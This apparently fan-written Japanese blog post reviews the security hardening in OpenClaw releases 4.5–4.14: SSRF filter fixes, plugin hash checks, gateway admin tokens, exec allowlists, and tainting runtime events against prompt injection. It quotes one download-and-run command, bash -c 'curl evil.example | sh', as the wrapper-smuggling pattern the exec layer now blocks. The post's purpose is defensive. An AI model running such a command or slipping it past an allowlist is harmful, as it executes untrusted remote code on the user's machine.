これはファンサイトです。OpenClaw公式やAnthropicとは関係ありません。 github.com/openclaw/openclaw
release security browser breaking-changes

OpenClaw 4.5–4.14:第二次の包囲戦——あなたがおそらく気づかなかった十日間のセキュリティ作業

OpenClaws.io Team

OpenClaws.io Team

@openclaws

April 14, 2026

10 分で読める

OpenClaw 4.5–4.14:第二次の包囲戦——あなたがおそらく気づかなかった十日間のセキュリティ作業

今回のリリース群は、ほとんどスクリーンショットに映らない。十日、八リリース、そして diff の大半は、何かがおかしくならない限りあなたが見に行かない場所にある——プラグインローダー、ブラウザーツールの URL リゾルバー、ゲートウェイの設定エンドポイント、許可リストのテーブル、依存マニフェスト。セキュリティ作業は設計上、静かなものだ。この記事は、その静けさのロングバージョンだ。

あなたの OpenClaw が走っているラップトップに、SSH 鍵も、パスワードマネージャーも、書きかけの確定申告も、あらゆるサービスにログインしたままのブラウザーも同居しているなら——そのまま読んでほしい。これは、ロブスターが触ることを許される範囲を変えたリリース群だ。

プラグインはダウンロードするだけでなく、検証されるようになった

4.7 より前、レジストリからのプラグインインストールはあなたの予想通りのことをしていた:アーカイブを取ってきて、展開して、走らせる。レジストリそのものは信頼されていたが、アーカイブ自体は再チェックされなかった。レジストリの CDN が途中で差し替えられても、ミラーが汚染されても、エッジで誰かが割り込んでも、ロブスターは返ってきたものを嬉々としてインストールしてしまう。

4.7 がこれを塞ぐ。プラグインアーカイブは公開時に SHA-256 ハッシュにピン留めされ、インストーラーは、バイト列が一致しないものを展開することを拒否する。プラグインを書いている側なら、openclaw plugin publish のフローがマニフェストにハッシュを自動で書き込む——手動でやる必要はない。プラグインを入れている側なら、何かおかしいときの最初のサインは、サイレントインストールではなく、きれいなエラーだ。

4.9 の追随では、同じ検証がプラグインのアップデートにも広げられた——これまでは「前のバージョンは通ったんだから」という理由で、ひっそりチェックを飛ばしていたやつだ。それはまさに攻撃者が探す種類の前提だ。もうない。

ブラウザーツールの SSRF フィルター、三回書き直し

ブラウザーツールは、ロブスターがページを取得し、リンクをたどり、少量の JavaScript を走らせ、見つけたものを返す経路だ。プロダクトの中で最も便利なものの一つであり、同時に最も危険なものの一つでもある——LLM の代理で URL を取得するものは、誤った URL を取得するようにそそのかされうる。Server-Side Request Forgery(SSRF)が、その失敗モードの丁寧な呼び名だ。

この十日のあいだに、SSRF フィルターは三回書き直された。

4.7 は、ホスト許可リストのチェックを DNS 解決の ではなく に走らせるよう厳しくした。旧版はホスト名の文字列を許可リストと照合してから解決していた。つまり、外部のように見えるホスト名が、操作された DNS レコードによって 127.0.0.1 に解決されるとすり抜けられた。いまは解決後の IP が、プライベートとループバックの範囲の拒否リストに照合される——着地先がその内側なら、名前がどう見えていたかに関係なくリクエストは拒否される。

4.9 は IPv6 のカバレッジを追加した。前の版が扱っていたのは 10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8、そしてリンクローカル——全部 IPv4 だ。IPv6 の対応物(fc00::/7、fe80::/10、::1)は、技術的には「許可リストにない」フォールバックで拾われていたが、エンドツーエンドでテストされたことは一度もなかった。4.9 はそれらをファーストクラスの拒否に昇格させ、テストマトリクスを追加した。

4.10 はリダイレクト追跡の抜け穴を塞いだ。最初の URL がフィルターを通過しても、302 でプライベート IP に飛ばされていた場合、リダイレクトは再チェックなしで追跡されていた。リダイレクトチェーンのすべてのホップは、いまは独立にフィルターされる。公開ホストから別の公開ホストへのリダイレクトは、ブラウザーツールはいくらでもたどる;公開ホストから 169.254.169.254 へのリダイレクトはたどらない——クラウドインスタンスの中で走らせているなら、これがまさに効いてくるアドレスだ。

4.14 は、一部の人にとって本当の互換性ブレイクを起こすやつだ。ブラウザーツール側からは file:// URL が完全に無効化される。ブラウザーツールを通してローカルファイルを読むのは、ドキュメント化されていない副作用で、いくつかのワークフローがそこに依存し始めていた——そしてそれは間違った経路だった。ローカルファイルの読み取りは file ツールの管轄で、file ツールには独自のサンドボックスのストーリーがある。ショートカットとして browser.open('file://...') を使っていたなら、file.read に切り替えて、あなたのセットアップでそのツールが強制している許可リストを受け入れる必要がある。

ロブスターが実行できるコマンドを監査するための新しい CLI

4.10 が openclaw exec-policy を出した——現在のワークスペースで有効なシェル実行ポリシーをダンプする、読み取り専用の CLI だ。一画面で教えてくれる:どのコマンドが許可リストに乗っているか、どれが拒否されているか、どれが確認を必要とするか、そして各ルールの出どころ(ユーザー設定、ワークスペース設定、プラグイン、デフォルト)は何か。

これは、新しいプラグインを入れたあとに走らせるやつだ。プラグインはシェルコマンドを登録できる;多くは問題ない;一部は静かにロブスターが実行できる範囲を広げる。4.10 より前は、合成された結果を見られる単一の面がなかった——複数の設定ファイルを読んで、優先順位を自分で推論しなければいけなかった。いまはコマンド一発で、出力はテストにパイプできるくらいには安定している。

4.12 の対になる変更はもっと小ぶりだが、意地悪だ:exec 層が、ラッパーコマンドを使って許可リストを密輸で越えようとする呼び方を検出するようになった。古典的なパターンは、bash が許可されていて curl が許可されていないときの bash -c 'curl evil.example | sh' だ。ラッパー検出は -c 形式をフラグし、内側のコマンド文字列を展開し、まるで直接呼ばれたかのように内側のコマンドを許可リストに通す。内側のコマンドが拒否されるべきものだったなら、外側のラッパーも拒否される。

ゲートウェイの設定エンドポイントにガードがついた

ゲートウェイモードで OpenClaw を走らせているなら——複数のクライアントが一つのロブスターインスタンスを共有するモードだ——ゲートウェイはサーバー設定を読み書きするための小さな管理 API を公開している。4.7 と 4.14 がこちら側を締めた。

4.7 が config.apply(設定全体を置き換える)と config.patch(部分更新をマージする)を分けた。以前から両方あったが、一つのコードパスを共有していて、マージのセマンティクスが十分に定義されていなかったため、兄弟のキーに patch をかけてネストされた admin キーを消してしまうことができた。分割することで、それぞれの動詞に独自のバリデーターが付いた。patch はいま真のディープマージで、明示的な削除には $delete センチネルが必要;apply は完全に妥当な設定を要求し、そうでなければリクエストは拒否される。

4.14 は、ゲートウェイが localhost 以外にバインドされているとき、両エンドポイントに署名済みトークンの要求を追加した。dev マシンで --host 0.0.0.0 を立ち上げ、ネットワーク分離だけで他人を締め出すつもりだったなら——ゲートウェイはその設定では起動を拒否するようになった。例外は --admin-token を一緒に渡す、または --admin-insecure で明示的にオプトアウトするかのどちらか。フラグ名はわざとダサくしてある。古い挙動を取り戻すために、「insecure」という単語を自分の手でタイプしてもらいたい。

テンプレートデータに偽装された資格情報

4.12 は、長らく引きずってきた醜い問題を直した:新しいワークスペースに同梱される .env.example に、本物っぽく見えるプレースホルダーの API キーが入っていて、それをダミーだと思ってパブリックリポジトリにコミットしたユーザーが少なくとも一人いた。実際にはダミーだった——値は全部ゼロ埋めの文字列で、どのプロバイダーでも無効だ——が、形は資格情報に寄せてあって、我々がチェックした lint ツールはそれらを「漏洩」として報告していた。新しい .env.example は明らかに偽物のトークン(REPLACE_ME_OR_I_WILL_FAIL)を使い、openclaw init のフローは、それらのセンチネル値のいずれかを含む .env ファイルを書き出すことを拒否する。

小さなことだ。実害も低い。ただ、直すコストは午後一回ぶんで、直さないコストは「説明しないといけないパブリックインシデントがもう一件」だった。

許可リストの境界、静かに締める

このリリース群のすべての版で、ロブスターと外の世界のあいだに座る許可リストのテーブルが、小さく具体的な形で締まった:

  • 4.5:音楽ツールの出力先が ./generated/music にデフォルト化された——ワークスペースがたまたま「output」だと思っている場所ではなく。
  • 4.7:メモリインポートのソースが file://https://、および特定のプロバイダー URL に制限された。旧コードは urllib がパースできるあらゆる URL スキームを受け入れていて、その中には意外なものも混じっていた。
  • 4.9:動画生成ツールのアップロードパスが、ワークスペースルートの外にある絶対パスを受け付けなくなった。
  • 4.10:プラグインマニフェストで * を許可リストパターンとして宣言できなくなった。具体的なドメインやメソッドを名指しする必要がある。
  • 4.14:Codex プロバイダー専用クライアントは、統合版の許可リストとは別の許可リストを尊重する——Codex を締めたことで、他の全部が偶発的に緩むことがなくなった。

個別に見ると、どれも物語にはならない。合わさると、爆発半径を正しい方向へ動かしている。

ランタイムイベントへの信頼、格下げ

4.7、4.9、4.14 を貫く、もう少し分かりにくい変更:ランタイムから来るイベント(ツール呼び出し、モデル出力、プラグインコールバック)は、もはやポリシーエンジンへの信頼された入力として扱われない。以前は、構造化イベントを発するツールが、自分で制御できるデータを通じて、後続の許可リスト判断に影響を与えることができた——「プロンプトインジェクションがポリシー層まで届く」という古典的な失敗モードだ。ランタイムイベントは、後続のポリシー評価に影響できるようになる前に、独立したサニタイズステップを通るようになった。そしてポリシーエンジンは、provenance が「runtime」のフィールドを、人間のオペレーターが明示的にピン留めしない限りは「汚染されている」ものとして扱う。

実際のところ、これはロブスター自身のツール出力に、自分の振る舞いを狭めさせていた一部のエッジケースのワークフローが、書き直しになるということだ。いま、振る舞いを狭めるための意図された方法は、ポリシールールを書くことであって、ツールにヒントを出させることではない。これに当たったら、4.10 の exec-policy CLI が診断ツールだ。

依存監査

4.9 と 4.14 は、どちらも cargo auditnpm audit のフルパスを走らせ、オープンな勧告がある推移的依存をすべてバンプした。リストの中身で OpenClaw に対して悪用されていたものは、我々の知る限りない;これはメンテナンスであって、インシデント対応ではない。バンプは意図的に退屈だ。

退屈ではなかった一件:ゲートウェイで使っている WebSocket ライブラリが 4.14 でメジャーバージョンを跨いだ——close フレームの reason コードの報告の仕方が変わった。ゲートウェイのソケット切断シグナルで event.reason を読んでいるコードがあったなら、いまそれはバッファではなく文字列だ。これは破壊的変更だ。4.14 の changelog に明示してある。

新しいシグナル:AI 支援のセキュリティ監査

名指ししておく価値がある最後の話——4.14 で、セキュリティに関連する diff が取り込まれる前に、二つ目のモデルがレビューする内部ワークフローを導入した。マージはブロックしない;コメントを残すだけだ。今回のリリース群では、人間のレビューが通してしまった二件を拾った:4.9 の SSRF 書き直しにあった IPv6 のギャップ(マージ前に修正された)と、4.7 の config.patch 分割にあった $delete センチネルの曖昧さ(暗黙ではなく明示的なバリデーターになる契機になった)。

過剰に言いたくはない。二つ目のモデルは、二人目の人間の代わりにはならない。ただ、それは二つ目のパスではあって、速く動いていた十日間のセキュリティ作業のなかで、それがなければ出荷されていた二件を捕まえたのもそのパスだった。残す。

短縮版

この記事から一つだけ持ち帰るなら:openclaw update を走らせて 4.14 にしてから、openclaw exec-policy を一度実行して、ロブスターがあなたのマシンで実際に何ができるのかを確認してほしい。出力があなたを驚かせたら、締めればいい。過去十日の作業の意味は全部そこにある——いまなら締められる。

それから、admin token なしで --host 0.0.0.0 のゲートウェイを走らせている人の一人なら——openclaw update を走らせる前にそれを直してほしい。4.14 はその設定では起動を拒否する。我々としては、エラーメッセージを先に見て何かが壊れたと思い込む前に、この記事を先に読んでほしい。

最新情報を受け取る

新機能や連携情報をお届け。スパムなし、いつでも解除可能。